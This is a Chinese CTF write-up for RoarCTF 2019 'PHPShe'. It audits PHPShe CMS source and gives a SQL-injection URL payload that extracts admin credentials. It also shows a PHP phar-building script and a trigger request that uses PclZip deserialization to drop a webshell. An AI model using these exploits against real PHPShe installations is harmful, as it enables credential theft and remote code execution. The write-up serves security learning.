• [RoarCTF 2019]PHPShe


    知识点: phpshe cms 代码审计(代码对比,phar 反序列化,sql突破安全函数)
    
    • 1

    前台 sql 注入 获取密码

    先看一下它对参数做了什么处理(common.php),在参数前加上了 _g_

    if (get_magic_quotes_gpc()) {
    	!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
    	!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
    }
    else {
    	!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
    	!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    include/function/global.func.php 中的 pe_dbhold 是防 sql 注入的,对字符串或者数组调用 addslashes() 转义,把一些字符实体化。

    突破安全函数常见的有如下几种情况:

    1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
    
    • 1
    function pe_dbhold($str, $exc=array())
    {
    	if (is_array($str)) {
    		foreach($str as $k => $v) {
    			$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
    		}
    	}
    	else {
    		//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
    		$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
    	}
    	return $str;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    入口文件位于 include/plugin/payment/alipay/pay.php$_GET['id'] 经过 pe_dbhold() 函数处理后赋值给 $order_id,然后 $order_id 被带入 order_table() 函数。

    $order_id = pe_dbhold($_g_id);
    $order_id = intval($order_id);
    $order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
    
    • 1
    • 2
    • 3

    hook/order.hook.php 下的 order_table 判断表名中有没有下划线,若有则取下划线前一部分,加到 order_ 后面,若没有则直接返回 order,这边的表名我们能控制一部分

    function order_table($id) {
    	if (stripos($id, '_') !== false) {
    		$id_arr = explode('_', $id);
    		return "order_{$id_arr[0]}";
    	}
    	else {
    		return "order";	
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    \source\include\class\db.class.php 下的 pe_select 执行 sql 语句,且这边的表名没有用单引号,所以可以绕过 addslashes,我们只要闭合一下就可以 sql 注入了,这边为了防止报错,最好找一个表名中有 order_ ,这里只有 pe_order_pay 符合。

    public function pe_select($table, $where = '', $field = '*')
    	{ 	
    		//处理条件语句
    		$sqlwhere = $this->_dowhere($where);
    		return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
    	}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    payload:查询admin密码

    /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_ 
    
    • 1

    账号密码:admin/altman777
    在这里插入图片描述

    反序列化

    这边学到了一个新的思路,可以用 Diffinity 把题目的源码和 PHPshe 官网的源码进行对比,在 /include/class/pclzip.class.phpPclZip 类中加了一个析构函数。
    在这里插入图片描述
    可以直接反序列化然后解压文件,且路径可控,那么我们只要上传一个压缩后的 webshell,并控制解压文件的路径到可访问的目录就可以获得 webshell,那么在哪边反序列化呢?

    moban.phpdel 功能下调用了 pe_dirdel,而 pe_dirdel 里面的 is_file 可以触发 phar 反序列化。(注意:是需要 token 的)

    case 'del':
    		pe_token_match();
    		$tpl_name = pe_dbhold($_g_tpl);
    		if ($tpl_name == 'default') pe_error('默认模板不能删除...');
    		if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
    			pe_error('使用中不能删除');
    		}
    		else {
    			pe_dirdel("{$tpl_name}");
    			pe_success('删除成功!');
    		}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    function pe_dirdel($dir_path)
    {
    	$dir_path = str_replace("..", " ", $dir_path);
    	if (is_file($dir_path)) {
    		#unlink($dir_path);
    	}
    	else {
    		$dir_arr = glob(trim($dir_path).'/*');
    		if (is_array($dir_arr)) {
    			foreach ($dir_arr as $k => $v) {
    				pe_dirdel($v, $type);
    			}	
    		}
    		#rmdir($dir_path);
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    构造 phar 文件,只需要改 zipnamesave_path 属性,其他的照搬,最后把 phar 后缀改为 phar.txt,上传到品牌管理。

     
    class PclZip{
        var $zipname = '';
        var $zip_fd = 0;
        var $error_code = 1;
        var $error_string = '';
        var $magic_quotes_status;
        var $save_path = '/var/www/html/data';
    
        function __construct($p_zipname){
            
            $this->zipname = $p_zipname;
            $this->zip_fd = 0;
            $this->magic_quotes_status = -1;
    
            return;
        }
    
    }
    
    $a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'');
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
     ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    上传后的文件名为 ID号.xxx

    在这里插入图片描述
    payload:
    在 moban 的 del 处触发 phar,把压缩后的 webshell 解压到 data/xxx.php

    admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt
    
    • 1

    在这里插入图片描述

    reference

    https://anquan.baidu.com/article/697
    https://blog.csdn.net/mochu7777777/article/details/107550135
    
    • 1
    • 2
  • 相关阅读:
    【Linux】Linux批量建立主机信任关系
    html页面广告5秒之后跳过
    python opencv图像模糊
    【论文阅读】23_SIGIR_Disentangled Contrastive Collaborative Filtering(分离对比协同过滤)
    ES 关于 remote_cluster 的一记小坑
    自动驾驶技术简史
    【Spring-5.3】AbstractAutowireCapableBeanFactory#initializeBean实现Bean的初始化
    基于JAVA+SpringBoot+Vue+协同过滤算法+爬虫的前后端分离的租房系统
    【最新计算机毕业设计】ssm基于微信小程序的校园商铺系统
    常用的Layout布局元素(重点)
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127716447